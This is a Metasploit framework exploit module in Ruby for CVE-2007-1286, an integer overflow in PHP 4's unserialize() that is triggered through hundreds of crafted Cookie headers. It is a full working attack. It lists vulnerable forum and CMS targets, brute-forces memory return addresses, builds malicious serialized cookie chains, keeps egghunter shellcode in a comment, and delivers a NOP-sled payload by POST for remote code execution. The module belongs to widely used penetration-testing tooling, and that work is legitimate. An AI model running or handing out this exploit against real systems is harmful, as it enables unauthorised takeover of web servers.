PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',
        'Description' => %q{
          This module exploits an integer overflow vulnerability in the unserialize()
          function of the PHP web server extension. This vulnerability was patched by
          Stefan in version 4.5.0 and applies all previous versions supporting this function.
          This particular module targets numerous web applications and is based on the proof
          of concept provided by Stefan Esser. This vulnerability requires approximately 900k
          of data to trigger due the multiple Cookie headers requirement. Since we
          are already assuming a fast network connection, we use a 2Mb block of shellcode for
          the brute force, allowing quick exploitation for those with fast networks.

          One of the neat things about this vulnerability is that on x86 systems, the EDI register points
          into the beginning of the hashtable string. This can be used with an egghunter to
          quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction
          is known. The EDI method is faster, but the bandwidth-intensive brute force used by this
          module is more reliable across a wider range of systems.
        },
        'Author' => [
          'hdm', # module development
          'GML <grandmasterlogic[at]gmail.com>',      # module development and debugging
          'Stefan Esser <sesser[at]hardened-php.net>' # discovered, patched, exploited
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2007-1286'],
          ['OSVDB', '32771'],
          ['URL', 'http://web.archive.org/web/20240619200429/http://php-security.org/MOPB/MOPB-04-2007.html'],
        ],
        'Privileged' => false,
        'Payload' => {
          'Space' => 1024
        },
        'Targets' => [

          #
          # 64-bit SuSE:    0x005c0000
          # Backtrack 2.0:  0xb797a000
          # Gentoo:         0xb6900000
          #
          [
            'Linux x86 Generic',
            {
              'Platform' => 'linux',
              'Arch' => [ ARCH_X86 ],
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xb6000400 },
                  'Stop' => { 'Ret' => 0xbfff0000 },
                  'Step' => 1024 * 1024
                }
            }
          ],
          [
            'Linux x86 phpBB2',
            {
              'DefaultCookie' => 'phpbb2mysql_data',
              'DefaultURI' => '/phpBB2/faq.php',
              'Signature' => /Powered\s+by.*phpBB/,
              'Platform' => 'linux',
              'Arch' => [ ARCH_X86 ],
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xb6000400 },
                  'Stop' => { 'Ret' => 0xbfff0000 },
                  'Step' => 1024 * 1024
                }
            }
          ],
          [
            'Linux x86 punBB',
            {
              'DefaultCookie' => 'punbb_cookie',
              'DefaultURI' => '/index.php',
              'Signature' => /Powered\s+by.*PunBB/,
              'Platform' => 'linux',
              'Arch' => [ ARCH_X86 ],
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xb6000400 },
                  'Stop' => { 'Ret' => 0xbfff0000 },
                  'Step' => 1024 * 1024
                }
            }
          ],
          [
            'Linux x86 WWWThreads',
            {
              'DefaultCookie' => 'forum_cookie',
              'DefaultURI' => '/index.php',
              'Signature' => /Powered\s+by.*WWWThreads/,
              'Platform' => 'linux',
              'Arch' => [ ARCH_X86 ],
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xb6000400 },
                  'Stop' => { 'Ret' => 0xbfff0000 },
                  'Step' => 1024 * 1024
                }
            }
          ],
          [
            'Linux x86 Deadman Redirect',
            {
              'DefaultCookie' => 'authcookie',
              'DefaultURI' => '/dmr/dmr.php',
              'Signature' => /document\.f\.userdata\.focus/,
              'Platform' => 'linux',
              'Arch' => [ ARCH_X86 ],
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xb6000400 },
                  'Stop' => { 'Ret' => 0xbfff0000 },
                  'Step' => 1024 * 1024
                }
            }
          ],
          [
            'Linux x86 PhpWebGallery',
            {
              'DefaultCookie' => 'pwg_remember',
              'DefaultURI' => '/phpwebgallery/index.php',
              'Signature' => /Powered\s+by.*phpwebgallery/msi,
              'Platform' => 'linux',
              'Arch' => [ ARCH_X86 ],
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xb6000400 },
                  'Stop' => { 'Ret' => 0xbfff0000 },
                  'Step' => 1024 * 1024
                }
            }
          ],
          [
            'Linux x86 Ariadne-CMS',
            {
              'DefaultCookie' => 'ARCookie',
              'DefaultURI' => '/ariadne/loader.php/',
              'Signature' => /Ariadne is free software/,
              'Platform' => 'linux',
              'Arch' => [ ARCH_X86 ],
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xb6000400 },
                  'Stop' => { 'Ret' => 0xbfff0000 },
                  'Step' => 1024 * 1024
                }
            }
          ],
          [
            'Linux x86 ProMA',
            {
              'DefaultCookie' => 'proma',
              'DefaultURI' => '/proma/index.php',
              'Signature' => /Change Account Information/,
              'Platform' => 'linux',
              'Arch' => [ ARCH_X86 ],
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xb6000400 },
                  'Stop' => { 'Ret' => 0xbfff0000 },
                  'Step' => 1024 * 1024
                }
            }
          ],
          [
            'Linux x86 eGroupware',
            {
              'DefaultCookie' => 'eGW_remember',
              'DefaultURI' => '/egroupware/login.php',
              'Signature' => /www.egroupware.org/,
              'Platform' => 'linux',
              'Arch' => [ ARCH_X86 ],
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xb6000400 },
                  'Stop' => { 'Ret' => 0xbfff0000 },
                  'Step' => 1024 * 1024
                }
            }
          ]
        ],
        'DisclosureDate' => '2007-03-04',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URI', [false, 'The path to vulnerable PHP script']),
        OptString.new('COOKIENAME', [false, 'The name of the cookie passed to unserialize()'])
      ]
    )
  end

  def check
    vprint_status('Checking for a vulnerable PHP version...')

    #
    # Pick the URI and Cookie name
    #
    cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
    uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']

    if (!cookie_name)
      fail_with(Failure::Unknown, 'The COOKIENAME option must be set')
    end

    if (!uri_path)
      fail_with(Failure::Unknown, 'The URI option must be set')
    end

    res = send_request_cgi({
      'uri'	=> uri_path,
      'method'	=> 'GET'
    }, 5)

    php_bug = false

    if (!res)
      vprint_status('No response from the server')
      return Exploit::CheckCode::Unknown('No response from target, user should try again')
    end

    http_fingerprint({ response: res }) # check method

    if (res.code != 200)
      vprint_status("The server returned #{res.code} #{res.message}")
      return Exploit::CheckCode::Safe('Server returned non-200 response')
    end

    if (
        (res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ %r{PHP/(.*)}) or
        (res.headers['Server'] and res.headers['Server'] =~ %r{PHP/(.*)})
      )

      php_raw = ::Regexp.last_match(1)
      php_ver = php_raw.split('.')

      if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)
        vprint_status("The server runs a vulnerable version of PHP (#{php_raw})")
        php_bug = true
      else
        vprint_status("The server runs a non-vulnerable version of PHP (#{php_raw})")
        return Exploit::CheckCode::Safe("Non-vulnerable PHP version #{php_raw} detected")
      end
    end

    # Detect the phpBB cookie name
    if res.get_cookies =~ /(.*)_(sid|data)=/
      vprint_status("The server may require a cookie name of '#{::Regexp.last_match(1)}_data'")
    end

    if (target and target['Signature'])
      if (res.body and res.body.match(target['Signature']))
        vprint_status("Detected target #{target.name}")
      else
        vprint_status("Did not detect target #{target.name}")
      end

    end

    return php_bug ? Exploit::CheckCode::Appears('Vulnerable PHP version detected') : Exploit::CheckCode::Detected('PHP detected but version may not be vulnerable')
  end

  def brute_exploit(target_addrs)
    zvalref = encode_semis('i:0;R:2;')

#
# Use this if we decide to do 'jmp edi' returns vs brute force
#
=begin
    # Linux specific egg-hunter
    tagger = "\x90\x50\x90\x50"
    hunter =
      "\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
      "\x3c\xf2\x74\xf1\xb8" +
      tagger +
      "\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"

    egghunter = "\xcc" * 39
    egghunter[0, hunter.length] = hunter

    hashtable = "\xcc" * 39
    hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes

    hashtable[20, 4] = [target_addrs['Ret']].pack('V')
    hashtable[32, 4] = [target_addrs['Ret']].pack('V')
=end

    #
    # Just brute-force addresses for now
    #
    tagger = ''
    egghunter = rand_text_alphanumeric(39)
    hashtable = rand_text_alphanumeric(39)
    hashtable[20, 4] = [target_addrs['Ret']].pack('V')
    hashtable[32, 4] = [target_addrs['Ret']].pack('V')

    #
    # Pick the URI and Cookie name
    #
    cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
    uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']

    if (!cookie_name)
      fail_with(Failure::Unknown, 'The COOKIENAME option must be set')
    end

    if (!uri_path)
      fail_with(Failure::Unknown, 'The URI option must be set')
    end

    # Generate and reuse the original buffer to save CPU
    if (!@saved_cookies)

      # Building the malicious request
      print_status('Creating the request...')

      # Create the first cookie header to get this started
      cookie_fun = "Cookie: #{cookie_name}="
      cookie_fun << Rex::Text.uri_encode(
        'a:100000:{s:8:"' +
        rand_text_alphanumeric(8) +
        '";a:3:{s:12:"' +
        rand_text_alphanumeric(12) +
        '";a:1:{s:12:"' +
        rand_text_alphanumeric(12) +
        '";i:0;}s:12:"' +
        rand_text_alphanumeric(12) +
        '";' +
        'i:0;s:12:"' +
        rand_text_alphanumeric(12) +
        '";i:0;}'
      )
      cookie_fun << zvalref * 500
      cookie_fun << Rex::Text.uri_encode('s:2:"')
      cookie_fun << "\r\n"

      refcnt = 1000
      refmax = 65535

      # Keep adding cookie headers...
      while (refcnt < refmax)

        chead = 'Cookie: '
        chead << encode_semis('";N;')

        # Stay within the 8192 byte limit
        0.upto(679) do |_i|
          break if refcnt >= refmax

          refcnt += 1

          chead << zvalref
        end
        chead << encode_semis('s:2:"')
        cookie_fun << chead + "\r\n"
      end

      # The final header, including the hashtable with return address
      cookie_fun << 'Cookie: '
      cookie_fun << Rex::Text.uri_encode('";N;')
      cookie_fun << zvalref * 500

      @saved_cookies = cookie_fun
    end

    # Generate and reuse the payload to save CPU time
    if (!@saved_payload)
      @saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)
    end

    cookie_addrs = Rex::Text.uri_encode(
      's:39:"' + egghunter + '";s:39:"' + hashtable + '";i:0;R:3;'
    ) + "\r\n"

    print_status('Trying address 0x%.8x...' % target_addrs['Ret'])
    res = send_request_cgi({
      'uri'	=> uri_path,
      'method'	=> 'POST',
      'raw_headers' => @saved_cookies + cookie_addrs,
      'data' => @saved_payload
    }, 1)

    if res
      failed = false

      print_status("Received a response: #{res.code} #{res.message}")

      if (res.code != 200)
        print_error('The server returned a non-200 response, indicating that the exploit failed')
        failed = true
      end

      if (!failed and (res.body and res.body.length > 0))
        print_error('The server returned a real response, indicating that the exploit failed')
        failed = true
      end

      if (failed)
        print_status('Please verify the URI and COOKIENAME parameters.')
        print_line('')
        print_line('*' * 40)
        print_line(res.body)
        print_line('*' * 40)
        print_line('')

        fail_with(Failure::Unknown, 'Exploit settings are probably wrong')
      end
    else
      print_status('No response from the server')
    end
  end

  def encode_semis(str)
    str.gsub(';') { |s| sprintf('%%%.2x', s[0]) }
  end
end